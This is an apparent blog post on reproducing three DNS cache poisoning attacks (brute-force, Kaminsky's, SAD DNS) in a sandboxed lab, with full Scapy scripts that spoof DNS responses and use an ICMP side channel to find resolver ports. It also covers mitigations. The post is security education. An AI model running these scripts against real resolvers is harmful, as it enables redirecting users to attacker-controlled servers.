SAD DNS: A Hands-on Survey

Note: Check out my code on GitHub

The Domain Name System (DNS), which facilitates the translation of hostnames to IP addresses, is a crucial piece of the internet architecture and has historically been a prime target for exploitation. One common type of DNS attack, known as cache poisoning, seeks to insert malicious DNS records into recursive resolver caches. Prior to the widespread adoption of resolver source-port randomization in 2008, this kind of attack was fairly easy to implement–in fact, Kaminsky claimed that his version of the attack could exploit a vulnerable system in 10 seconds. Ever since source-port randomization became the standard for many mainstream recursive resolvers such as BIND and Unbound, Kaminsky’s attack could not work nearly as quickly, as it was much more difficult to guess both the source port and Query ID of the victim resolver’s DNS request packets. However, a new cache-poisoning attack which circumvents these mitigations, known as SAD DNS, was recently unveiled last month. Interestingly, this attack uses ICMP error messages and rate limits as a side channel to infer which ports are being used for DNS requests, essentially side-stepping source-port randomization protections.

While the consequences of SAD DNS seem grim, all is not lost. As this blog post notes, DNSSEC, which uses digital signatures to validate DNS records, is a viable mitigation which stops pretty much all DNS cache poisoning attacks in their tracks. Another approach would be to disable ICMP rate limiting, albeit at the expense of leaving a server vulnerable to reflection attacks.

While I am not necessarily surprised by the fact that hackers have tried to exploit DNS, I’m still intrigued by the fact that their efforts have been so successful. After all, DNS sounds like it should be fairly straightforward to implement securely. In an attempt to more concretely understand this, I will implement some of the attacks mentioned above in a sandboxed environment.

Experiment Setup

In order to execute the above attacks in a safe and ethical way, I had to make sure the network I worked on would be isolated from the outside world. I ended up settling for an environment housed in Linux KVM on an isolated virtual network and consisting of the following three Linux machines:

  • Client/Resolver:
    • IP Address: 192.168.16.130
    • Hostname: client
    • OS: Ubuntu 20.04 Server
    • Services: BIND9
  • Authoritative Nameserver:
    • IP Address: 192.168.16.150
    • Hostname: auth
    • OS: Ubuntu 20.04 Server
    • Services: BIND9
  • Attacker:
    • IP Address: 192.168.16.158
    • Hostname: attacker
    • OS: Ubuntu 20.04 Server
    • Services: BIND9

On the client machine, BIND9 acts as a recursive resolver and has the following configuration:

Configuration at /etc/bind/named.conf.options
Configuration at /usr/share/dns/root.hints

In the first image, notice first that DNSSEC validation is disabled; otherwise, all the cache poisoning attacks would fail. Furthermore, since the first two attacks rely on the source port of the resolver being fixed, I’ve restricted the source port to 50000 for outgoing recursive queries. In the second image, note how we add the authoritative nameserver to the list of root nameservers present on the machine. If we did not do this, the client would exclusively try to query actual root nameserver when resolving a domain not in cache; however, since the network is sandboxed, the root nameservers cannot be reached.

On machine auth, BIND9 acts as an authoritative nameserver for domain dummy.com, and has the following configuration:

Configuration at /etc/bind/named.conf.options
Zone file for dummy.com

Some things of note. We have recursion on this server disabled, meaning that it will only answer requests pertaining to dummy.com. In the second image, note how the records have a TTL of 60 seconds (see discussion on short cache duration) and how an additional domain site.dummy.com also has an A record pointing to auth’s IP address. This is the address of the server the client is trying to reach. On the other hand, the attacker is also running a BIND9 server with the following zone file:

Attacker’s zone file for dummy.com

If the attacker is able to convince the recursive resolver on the client that it is the authoritative nameserver for dummy.com, then they will be able to redirect requests from site.dummy.com to their own malicious server.

Some Notes on the Attacks

Before I dive into the nitty-gritty, I’ll give a brief overview of which attacks I chose and the methodology I used to implement them. The first attack uses naive brute-force cache poisoning to inject an A record for site.dummy.com into the recursive resolver cache. Basically, the attacker just perpetually floods the resolver with DNS responses containing the spoofed A record and the spoofed source IP of the authoritative nameserver. The second attack, known as Kaminsky’s attack, operates under similar principles, except it also sends a query with a random prepended nonce string to bypass the resolver cache bottleneck. The final attack is an implementation of SADDNS. All the attacks were implemented in Scapy and use the model of an off-path attacker–that is, the attacker cannot sniff packets between the authoritative nameserver and the resolver to deduce DNS ID and source ports.

For demonstration purposes, I made some changes to the sandboxed environment that may not necessarily represent reality. For instance, I disabled source port randomization on the resolver for the first two attacks. While source port randomization is a given on mainstream resolvers today, this was not the case even fifteen years ago. Another decision I made was to allow each VM to perform multiple functions. For instance, the authoritative nameserver is both authoritative for site.dummy.com and is a root nameserver; the client is also a recursive resolver; and the attacker is both an attacker and a malicious nameserver. While I could in principle define a VM for each of these functions, this would quickly become unwieldy, and anyways, I don’t have the RAM. I made some other similar decisions–they are mentioned in the following sections.

Attack #1: Brute-force poisoning

The first attack I implemented was simple enough. Following the method described in Woefe’s blog post, I was able to get Scapy to enumerate all 65535 DNS Query ID’s in a little over a second. The script, which I have copied below, defines a socket to be used for each outgoing packet (otherwise a socket is opened for each packet sent, which trashes performance) and uses bit manipulation on the packet’s underlying byte array to efficiently modify the DNS query ID in the main loop.

import random
from scapy.all import *

target_auth_ip = '192.168.16.150'
source_port = 50000

def patch(dns_frame, pseudo_hdr, dns_id):
    """Adjust the DNS id and patch the UDP checksum within the given Ethernet frame"""
    # set dns id
    # the byte offsets can be found in Wireshark
    dns_frame[42] = (dns_id >> 8) & 0xFF
    dns_frame[43] = dns_id & 0xFF

    # reset checksum
    dns_frame[40] = 0x00
    dns_frame[41] = 0x00

    # calc new checksum
    ck = checksum(pseudo_hdr + dns_frame[34:])
    if ck == 0:
        ck = 0xFFFF
    cs = struct.pack("!H", ck)
    dns_frame[40] = cs[0]
    dns_frame[41] = cs[1]


response = Ether()/IP(src=target_auth_ip,dst=target_resolver_ip)/UDP(sport=53,dport=source_port)/DNS(id=0, qd=DNSQR(qname=target_domain), aa=1, qr=1, an=DNSRR(rrname=target_domain,  ttl=36000, rdata=attacker_ip))
dns_frame = bytearray(raw(response))
pseudo_hdr = struct.pack(
    "!4s4sHH",
    inet_pton(socket.AF_INET, response["IP"].src),
    inet_pton(socket.AF_INET, response["IP"].dst),
    socket.IPPROTO_UDP,
    len(dns_frame[34:]),
)
s = conf.L2socket()

i=0
while True:
    if i<1024:
       i=1024
    patch(dns_frame, pseudo_hdr, i % 65535)
    s.send(dns_frame)
    i+=1

One relevant concern is caching: once a DNS record is cached by the recursive resolver, any subsequent attempts to poison the cache will fail, since the resolver will simply send back its cached records when the attacker requests them. In a regular brute-force cache poisoning attack like this one, this means that the speed of the attacker’s exploit is bottle-necked by the TTL of the records it is trying spoof. For the sake of demonstration, my recursive resolver ought to cache DNS records for a short amount of time so that the exploit has more chances to succeed. While I could certainly reduce the TTL on served RR’s to the minimum, BIND only lets you decrease it down to a minute. Instead, I opted to use the Remote Name Daemon Control (rndc) utility to flush the cache on demand.

Another concern is that the RTT between the authoritative nameserver and the resolver in this virtualized environment is less than a millisecond. Even though our script can send over 50kpps, there is still less than a 1/1000 chance that the attack will succeed on any given attempt. In order to ensure the exploit would succeed in a reasonable time frame, I used the Linux traffic control (tc) utility to increase the delay of outgoing packets from the authoritative nameserver to 100ms with the following command:

tc qdisc change dev ens3 root netem delay 100ms

After I did this, I ran the script on the attacker and repeatedly issued the following command on the client/recursive resolver

dig site.dummy.com && rndc flush

After a few tries, I got the following result:

Screencap of successful attack execution. Bottom left is client/resolver, bottom right is auth nameserver, top is attacker.

Voila!

Attack #2: Kaminsky’s Exploit

Like the first attack, this one aims to poison the resolver’s cache by brute-forcing the DNS QID. Recall that the bottleneck for the first attack was the cache TTL on the record we wanted to spoof. If, for instance, the TTL for a record were one day and the attacker could only get one spoofed response to the recursive resolver before the actual authoritative server responded, then the expected amount of time required for a successful spoof would be (65535/2)=32767.5, or upwards of 80 years. As Kaminsky explains in this video, the attacker can bypass this bottleneck by sending a query from a related, likely uncached subdomain of the target domain. In my case, the attacker picks a random string, say xyzw, and query the recursive resolver for the A record for xyzw.site.dummy.com. Right afterwards, the attacker sends a response spoofed from the authoritative nameserver with an NS record for site.dummy.com pointing to auth.dummy.com and an additional A for auth.dummy.com pointing to the attacker’s IP. Since the NS record is for site.dummy.com, the response passes the standard bailiwick checks (see this paper for more information on bailiwick checking with regard to cache poisoning). More significantly, the additional A record for auth.dummy.com can even overwrite the cached A record if it exists, allowing the attacker to have complete control over all domains controlled by auth.dummy.com.

Implementing the attack wasn’t too bad. I ended up with the following script:

import scapy.all
from scapy.all import *
import random
import string
import time

target_domain = "site.dummy.com"
target_resolver_ip = '192.168.16.130'
attacker_ip = '192.168.16.158'
target_auth_ip = '192.168.16.150'
target_auth_domain = "auth.dummy.com"
source_port = 50000

def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

pkt_query = IP(src=attacker_ip,dst=target_resolver_ip)/UDP(sport=source_port,dport=53)/DNS(id=50000, rd=1, qd=DNSQR(qname=target_domain+"."))
pkt_answer = IP(src=target_auth_ip,dst=target_resolver_ip)/UDP(sport=53,dport=source_port)/DNS(id=50000, qd=DNSQR(qname=target_domain+".",qtype="A", qclass="IN"), aa=0, qr=1, ns=DNSRR(rrname=target_domain+".",  ttl=10, type="NS", rdata=target_auth_domain+"."),ar=(DNSRR(rrname=target_auth_domain+".", type="A", rclass="IN", ttl=36000, rdlen=4, rdata=attacker_ip)))

s = conf.L3socket();
while True:
    d_str = get_random_string(4)+"."+target_domain+".";
    pkt_query[DNS].qd=DNSQR(qname=d_str)
    pkt_answer[DNS].qd=DNSQR(qname=d_str)
    pkt_answer[DNS].id=random.randrange(1024,65535)
    pkt_query[DNS].id=random.randrange(1024,65535)
    s.send(pkt_query)
    s.send(pkt_answer)
    time.sleep(.05)

While this code worked fairly well, one problem I initially had was that if I flooded the resolver with too many requests, it would end up sending SERVFAIL replies back to the attacker without forwarding the requests onto the authoritative nameserver. This problem persisted even after ensuring rate-limiting was disabled. The only thing that fixed this problem was increasing the amount of source ports that the resolver could use. Since this problem does not occur in attack #1, it is clear that there is some sort of implicit per-port outgoing rate limit on unique DNS requests. I wouldn’t necessarily call this a bug in the BIND implementation, since the method I adopted to disable source port randomization (decreasing the range of available ports to 1) is pretty hacky to begin with. Anyways, I ended up having to put a sleep statement in the script’s main loop to prevent this rate-limit from being triggered.

Given the nature of the exploit, I was able to decrease the synthetic latency between the nameservers from 100ms to 5ms. The reason I still needed 5ms of latency is due to Scapy’s inherent slowness–even when I send the query and response packets back-to-back, the latency between their arrival times often exceeds four milliseconds, and so the authoritative nameserver ends up winning the race the majority of the time. After running the exploit for a few minutes (it would have been a few seconds if it weren’t for the rate-limiting mentioned above), I got the following result:

Successful instance of Kaminsky’s attack–Client up top, auth server bottom left, attacker bottom right

As you can see, the attacker has convinced the client that the authoritative nameserver for site.dummy.com has the attacker’s IP. When we dig site.dummy.com on the client, a request (which is captured by tcpdump in the attacker’s pane) for the A record of site.dummy.com is sent. The attacker’s malicious instance of BIND returns the attacker’s IP, which is exactly what we want.

Attack #3: SAD DNS

This was admittedly the most challenging attack of the three to execute. Nevertheless, I was able to get a rudimentary implementation going that is likely to succeed if given enough time. Here’s the code below:

import random
from scapy.all import *
import time
import string
import math

target_domain = "site.dummy.com"
target_resolver_ip = '192.168.16.130'
attacker_ip = '192.168.16.158'
target_auth_ip = '192.168.16.150'

MAX_PORT_NUM = 65535
GLOBAL_ICMP_LIMIT = 50
GLOBAL_ICMP_REFRESH = .05
RESERVED_PORTS = 1024
PER_IP_REFRESH = 1
#j is the port number being tested. It needs to be global so that the 
#Asynchronous sniffer handler can process it if it's open
#Cache is the list of open ports detected through the ICMP side-channel
#attack described in the paper.
#found_open_port is a boolean which is used in the binary search
#binary_initiated indicates that the code is transitioning from finding open
#blocks of ports to using binary search to find the exact port numbers
j=MAX_PORT_NUM
cache=[]
found_open_port = False
binary_initiated = False

#We need to generate random strings so we can query
#uncached resources a la Kaminsky's method
def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

#In order to get packets out quickly enough, we write the
#packets raw. This function creates the raw IP headers from
#scapy packets.
def make_header(pkt):
   raw_pkt = bytearray(raw(pkt))
   return struct.pack(
       "!4s4sHH",
       inet_pton(socket.AF_INET, pkt["IP"].src),
       inet_pton(socket.AF_INET, pkt["IP"].dst),
       socket.IPPROTO_UDP,
       len(raw_pkt[34:]),
   )

#When our asynchronous packet sniffer detects an ICMP error message,
#this function is called. Depending on whether we are executing a binary search
#or just the general port scan, it reports back about open ports it has found
def pkt_callback(pkt):
    global found_open_port
    if binary_initiated:
       found_open_port = True
    else:
       h=math.floor(j/GLOBAL_ICMP_LIMIT)*GLOBAL_ICMP_LIMIT
       cache.append(h)

#This function takes in a byte array frame, a raw IP/ETH header,
#and a destination port and creates a raw DNS packet
def patch_sport(pkt, pseudo_hdr, dport):
    #write new destintation port
    pkt[36] = (dport >> 8) & 0xFF
    pkt[37] = dport & 0xFF

    # reset checksum
    pkt[40] = 0x00
    pkt[41] = 0x00

    # calc new checksum
    ck = checksum(pseudo_hdr + pkt[34:])
    if ck == 0:
        ck = 0xFFFF
    cs = struct.pack("!H", ck)
    pkt[40] = cs[0]
    pkt[41] = cs[1]

#This function is like the one above, except it also takes in a DNS QID and
# a query domain string
def patch(pkt, pseudo_hdr, dport, qid, dns_qd):
    """Adjust the DNS id and patch_sport the UDP checksum within the given Ethernet frame"""
    # set destination port
    # the byte offsets can be found in Wireshark
    pkt[36] = (dport >> 8) & 0xFF
    pkt[37] = dport & 0xFF

    # reset checksum
    pkt[40] = 0x00
    pkt[41] = 0x00
    
    # set qid
    pkt[42] = (qid >> 8) & 0xFF
    pkt[43] = qid & 0xFF

    # set DNS QD
    pkt[55] = ord(dns_qd[3])
    pkt[56] = (ord(dns_qd[0])) & 0xFF
    pkt[57] = (ord(dns_qd[1])) & 0xFF
    pkt[58] = ord(dns_qd[2]) & 0xFF


    # calc new checksum
    ck = checksum(pseudo_hdr + pkt[34:])
    if ck == 0:
        ck = 0xFFFF
    cs = struct.pack("!H", ck)
    pkt[40] = cs[0]
    pkt[41] = cs[1]

#This is the meat of the program. It uses an ICMP side-channel to find which
#UDP ports are currently open
def find_ports():
   global j,binary_initiated,found_open_port,cache
   open_ports = []
   cache = []
   found_open_port = False
   binary_initiated = False
   j = MAX_PORT_NUM
   
   #After we saturate the global limit, we send a verification packet from the attacker
   #address to see if there were any open ports in the range we tested
   verification_pkt = Ether()/IP(src=attacker_ip,dst=target_resolver_ip)/UDP(sport=53,dport=1)
   pseudo_verif_hdr = make_header(verification_pkt)
   verification_pkt = bytearray(raw(verification_pkt))

   #We will test each port on the recursive resolver to check if it's open
   pkt = Ether()/IP(src=target_auth_ip,dst=target_resolver_ip)/UDP(sport=53,dport=0)
   pseudo_hdr = make_header(pkt)
   pkt = bytearray(raw(pkt))
   s = conf.L2socket()
  
   #We use an async sniffer to detect ICMP error messages
   t = AsyncSniffer(iface="ens3",prn=pkt_callback, store=False, filter="icmp")
   t.start()
   j=MAX_PORT_NUM
   while j > RESERVED_PORTS:
      for i in range(GLOBAL_ICMP_LIMIT):
         j-=1
         patch_sport(pkt, pseudo_hdr, j)
         s.send(pkt)
      patch_sport(pkt, pseudo_verif_hdr, random.randint(1,10))
      s.send(verification_pkt)
      time.sleep(GLOBAL_ICMP_REFRESH)
   
   #Now, we iterate through the list of possible ranges where there are open ports, using binary search
   #to locate the exact ports which are open
   binary_initiated = True
   dummy_pkt = bytearray(raw(Ether()/IP(src=target_auth_ip,dst=target_resolver_ip)/UDP(sport=53,dport=1)))
   for i in cache:
       old_range = 100
       current_range = GLOBAL_ICMP_LIMIT
       current_start = i
       while current_range>0:
          for ports in range(GLOBAL_ICMP_LIMIT):
              #In order to tell if a port is in a certain range, we need to 
              #saturate the global icmp rate limit. To do so, we send dummy
              #packets to a port on the recursive resolver which we know
              #in advanced to be closed (in this case port 1)
              if ports>=current_range:
                 s.send(dummy_pkt)
              else:
                 patch_sport(pkt, pseudo_hdr, current_start+ports)
                 s.send(pkt)
          s.send(verification_pkt)
          #We need to wait a moment to make sure no ICMP message was sent back
          time.sleep(.01)
          if found_open_port:
             old_range = current_range
             current_range = int((current_range) / 2)
             found_open_port = False
          else:
             if old_range==50 and current_range==50:
                break
             current_start += current_range
             current_range = old_range - current_range
             old_range = current_range
             current_range = int(current_range/2)
          #We sleep to prevent burst rate-limit from tipping    
          time.sleep(.05)
       open_ports.append(current_start)
       time.sleep(1)
   t.stop()
   return open_ports

#Finally, we iterate through the open ports we found and iterate through QID
query = Ether()/IP(src=attacker_ip,dst=target_resolver_ip)/UDP(sport=50000,dport=53)/DNS(id=50000, qd=DNSQR(qname="fill."+target_domain+"."), rd=1)
response = Ether()/IP(src=target_auth_ip,dst=target_resolver_ip)/UDP(sport=53,dport=50000)/DNS(id=50000, qd=DNSQR(qname="fill."+target_domain+"."), aa=1, qr=1, an=DNSRR(rrname=target_domain+".",  ttl=36000, rdata=attacker_ip))

dns_response_frame = bytearray(raw(response))

query_header = make_header(query)
response_header = make_header(response)
s = conf.L2socket()
while True:
    d_str = get_random_string(4)+"."+target_domain+".";
    query[DNS].qd = DNSQR(qname=d_str)

    #The commented code is for debug mode, where we have the target resolver
    #directly dig an authoritative nameserver to simulate the action of 
    #recursion on behalf of the attacker.
    #d_str = target_domain+"."
    #s.send(query)
    ports = find_ports()
    for i in ports:
       for qid in range(RESERVED_PORTS,MAX_PORT_NUM):
          patch(dns_response_frame, response_header, i, qid, d_str)

The first segment of the code is dedicated to using a side-channel attack via ICMP error messages to determine what ports are open on the target resolver. Since the per-IP ICMP error message rate-limits are pretty stringent (1 message per second), I specifically use the global rate-limit as a side-channel to infer which swaths of ports contain an open port. The next section of the code then uses binary search to determine exactly which ports are open. The last section of the code more or less operates like Kaminsky’s attack.

One problem I had writing this implementation was getting Scapy to asynchronously sniff for ICMP error messages and perform the necessary action when a message is received. In fact, there is a bug in the code where the sniffer fails to execute when an error message is received during the binary search. In terms of performance, I struggled to get the attack to execute on an actual DNS request. This is because for BIND, DNS retries are spread out by a maximum of two seconds, and I couldn’t figure out how to increase this interval even via exponential backoff. This poses a problem because each transmission is sent using a different source port, meaning that source port identification and query ID determination needs to happen in under two seconds. The biggest bottleneck in the code speed as of now is the source port determination speed, as the global ICMP error message rate-limit caps the search speed at 1000 ports a second. Moreover, the binary search is slowed down somewhat by the per-IP rate-limit. Finally, if packet loss occurs at all, it leads to huge performance issues, as these missing packets are misinterpreted as indicating possible open ports on the resolver.

Given these complications, for demonstration purposes I turned off the authoritative nameserver’s BIND instance, sent a dig command for site.dummy.com from the resolver to the auth nameserver with a ridiculously long timeout, and ran the script on the attacker to determine the source port and query ID of the resolver’s request. This allowed me to spoof the response even with source-port randomization enabled on the resolver. While this scenario is indeed quite synthetic, it isn’t outlandish, as the dig request simulates a recursive query initiated by the attacker in the presence of an authoritative nameserver under load. Basically, you’d get the same situation as the attacker if you sent the query yourself to the resolver and DOSed the authoritative nameserver. Alternatively, if the target caching server were a forwarder, the attacker could send a request for an A record for a domain which they controlled–this would allow the attacker to extend the attack window. Furthermore, since bailiwick checking isn’t typically done on forwarding servers, the attacker could use this hung connection to spoof any kind of request that they want (note that in this case, the attacker would be impersonating the upstream resolver). Anyways, my results using this synthetic approach are captured by the following screencap:

SAD DNS Exploit: The top pane is the attacker, the bottom left is the client receiving spoofed dig response

The numbers in the top pane are debug prints corresponding to the binary search for the appropriate source port that dig is using on the client. The bottom right pane corresponds to the auth server, which is running a dummy UDP netcat server on port 53 to prevent dig from retransmitting requests (although running the nc server proved to be unnecessary, since with a sufficiently large timeout dig does not retransmit). As you can see, the side-channel successfully determines the source port and uses that as a prerequisite for a brute-force attack on the DNS QID’s.

Conclusion and Next Steps

Beyond the rudiments of network programming, one thing I’ve learned doing this project is how much of a patch job DNS is. Every time there’s a major exploit, the solutions feel like band-aids over gaping wounds. Take the Kaminsky bug. One would imagine that this kind of exploit would galvanize adoption of cryptographically secure defenses like DNSSEC or DoT; instead, the preferred course of action was to hastily increase entropy by a mere 16 bits. Sure, DNS has strict latency requirements, which means that these security measures often come at the cost of performance; but even so, there are projects like DNSCurve which seek to be both reliable and performant. Hopefully, people will start taking exploits like these seriously and learn to adopt a proactive, rather than reactive, stance regarding DNS attack mitigations.

In terms of future work, one interesting avenue would be to implement a series of mitigation strategies to the SADDNS attack, starting with the obvious (rate-limit randomization/reduction, DNSSEC, ICMP filtering, DNS cookies) and moving on to the more exotic (using machine learning to adaptively detect whether a source port enumeration attempt is occurring). More importantly, though, I’d like to start by porting my code to C. In terms of efficiency/reliability/flexibility, I’ve become a bit frustrated with Scapy. While it is certainly a good library for its use case (network diagnostics and filtering), I think I’ve been stretching it to the limit somewhat.

Leave a Comment

Your email address will not be published.